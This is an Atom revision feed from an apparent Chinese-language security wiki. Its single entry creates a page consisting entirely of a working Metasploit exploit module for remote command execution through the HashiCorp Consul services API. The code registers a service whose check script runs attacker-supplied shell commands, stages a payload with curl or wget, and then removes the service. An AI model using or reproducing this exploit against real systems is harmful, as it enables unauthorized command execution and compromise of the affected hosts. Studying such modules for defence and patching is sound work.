<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hashicorp_Consul_Services_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Hashicorp Consul Services API 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Hashicorp_Consul_Services_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hashicorp_Consul_Services_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-16T06:49:34Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Hashicorp_Consul_Services_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1500&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Hashicorp_Consul_Services_API_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1500&amp;oldid=prev"/>
		<updated>2021-04-11T01:13:22Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::CmdStager&lt;br /&gt;
&lt;br /&gt;
  def initialize(info={})&lt;br /&gt;
    super(update_info(info,&lt;br /&gt;
      'Name'           =&amp;gt; &amp;quot;Hashicorp Consul Remote Command Execution via Services API&amp;quot;,&lt;br /&gt;
      'Description'    =&amp;gt; %q{&lt;br /&gt;
        This module exploits Hashicorp Consul's services API to gain remote command&lt;br /&gt;
        execution on Consul nodes.&lt;br /&gt;
      },&lt;br /&gt;
      'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;
      'Author'         =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          'Bharadwaj Machiraju &amp;lt;bharadwaj.machiraju[at]gmail.com&amp;gt;', # Discovery and PoC&lt;br /&gt;
          'Francis Alexander &amp;lt;helofrancis[at]gmail.com &amp;gt;', # Discovery and PoC&lt;br /&gt;
          'Quentin Kaiser &amp;lt;kaiserquentin[at]gmail.com&amp;gt;' # Metasploit module&lt;br /&gt;
        ],&lt;br /&gt;
      'References'     =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          [ 'URL', 'https://www.consul.io/api/agent/service.html' ],&lt;br /&gt;
          [ 'URL', 'https://github.com/torque59/Garfield' ]&lt;br /&gt;
        ],&lt;br /&gt;
      'Platform'        =&amp;gt; 'linux',&lt;br /&gt;
      'Targets'         =&amp;gt; [ [ 'Linux', {} ] ],&lt;br /&gt;
      'Payload'         =&amp;gt; {},&lt;br /&gt;
      'CmdStagerFlavor' =&amp;gt; [ 'bourne', 'echo', 'printf', 'curl', 'wget'],&lt;br /&gt;
      'Privileged'     =&amp;gt; false,&lt;br /&gt;
      'DefaultTarget'  =&amp;gt; 0,&lt;br /&gt;
      'DisclosureDate' =&amp;gt; 'Aug 11 2018'))&lt;br /&gt;
    register_options(&lt;br /&gt;
      [&lt;br /&gt;
        OptString.new('TARGETURI', [true, 'The base path', '/']),&lt;br /&gt;
        OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),&lt;br /&gt;
        OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),&lt;br /&gt;
        Opt::RPORT(8500)&lt;br /&gt;
      ])&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method'  =&amp;gt; 'GET',&lt;br /&gt;
      'uri'     =&amp;gt; normalize_uri(target_uri.path, '/v1/agent/self'),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      }&lt;br /&gt;
    })&lt;br /&gt;
&lt;br /&gt;
    unless res&lt;br /&gt;
      vprint_error 'Connection failed'&lt;br /&gt;
      return CheckCode::Unknown&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    unless res.code == 200&lt;br /&gt;
      vprint_error 'Unexpected reply'&lt;br /&gt;
      return CheckCode::Safe&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    agent_info = JSON.parse(res.body)&lt;br /&gt;
&lt;br /&gt;
    if agent_info[&amp;quot;Config&amp;quot;][&amp;quot;EnableScriptChecks&amp;quot;] == true || agent_info[&amp;quot;DebugConfig&amp;quot;][&amp;quot;EnableScriptChecks&amp;quot;] == true || agent_info[&amp;quot;DebugConfig&amp;quot;][&amp;quot;EnableRemoteScriptChecks&amp;quot;] == true&lt;br /&gt;
      return CheckCode::Vulnerable&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    CheckCode::Safe&lt;br /&gt;
  rescue JSON::ParserError&lt;br /&gt;
    vprint_error 'Failed to parse JSON output.'&lt;br /&gt;
    return CheckCode::Unknown&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def execute_command(cmd, opts = {})&lt;br /&gt;
    uri = target_uri.path&lt;br /&gt;
    service_name = Rex::Text.rand_text_alpha(5..10)&lt;br /&gt;
    print_status(&amp;quot;Creating service '#{service_name}'&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    # NOTE: Timeout defines how much time the check script will run until&lt;br /&gt;
    # getting killed. Arbitrarily set to one day for now.&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'PUT',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(uri, 'v1/agent/service/register'),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      },&lt;br /&gt;
      'ctype' =&amp;gt; 'application/json',&lt;br /&gt;
      'data' =&amp;gt; {&lt;br /&gt;
        :ID =&amp;gt; &amp;quot;#{service_name}&amp;quot;,&lt;br /&gt;
        :Name =&amp;gt; &amp;quot;#{service_name}&amp;quot;,&lt;br /&gt;
        :Address =&amp;gt; &amp;quot;127.0.0.1&amp;quot;,&lt;br /&gt;
        :Port =&amp;gt; 80,&lt;br /&gt;
        :check =&amp;gt; {&lt;br /&gt;
          :script =&amp;gt; &amp;quot;#{cmd}&amp;quot;,&lt;br /&gt;
          :Args =&amp;gt; [&amp;quot;sh&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;#{cmd}&amp;quot;],&lt;br /&gt;
          :interval =&amp;gt; &amp;quot;10s&amp;quot;,&lt;br /&gt;
          :Timeout =&amp;gt; &amp;quot;86400s&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
      }.to_json&lt;br /&gt;
    })&lt;br /&gt;
    unless res &amp;amp;&amp;amp; res.code == 200&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')&lt;br /&gt;
    end&lt;br /&gt;
    print_status(&amp;quot;Service '#{service_name}' successfully created.&amp;quot;)&lt;br /&gt;
    print_status(&amp;quot;Waiting for service '#{service_name}' script to trigger&amp;quot;)&lt;br /&gt;
    sleep(12)&lt;br /&gt;
    print_status(&amp;quot;Removing service '#{service_name}'&amp;quot;)&lt;br /&gt;
    res = send_request_cgi({&lt;br /&gt;
      'method' =&amp;gt; 'PUT',&lt;br /&gt;
      'uri' =&amp;gt; normalize_uri(&lt;br /&gt;
        uri,&lt;br /&gt;
        &amp;quot;v1/agent/service/deregister/#{service_name}&amp;quot;&lt;br /&gt;
      ),&lt;br /&gt;
      'headers' =&amp;gt; {&lt;br /&gt;
        'X-Consul-Token' =&amp;gt; datastore['ACL_TOKEN']&lt;br /&gt;
      }&lt;br /&gt;
    })&lt;br /&gt;
    if res &amp;amp;&amp;amp; res.code != 200&lt;br /&gt;
      fail_with(Failure::UnexpectedReply,&lt;br /&gt;
        'An error occured when contacting the Consul API.'&lt;br /&gt;
      )&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    execute_cmdstager()&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>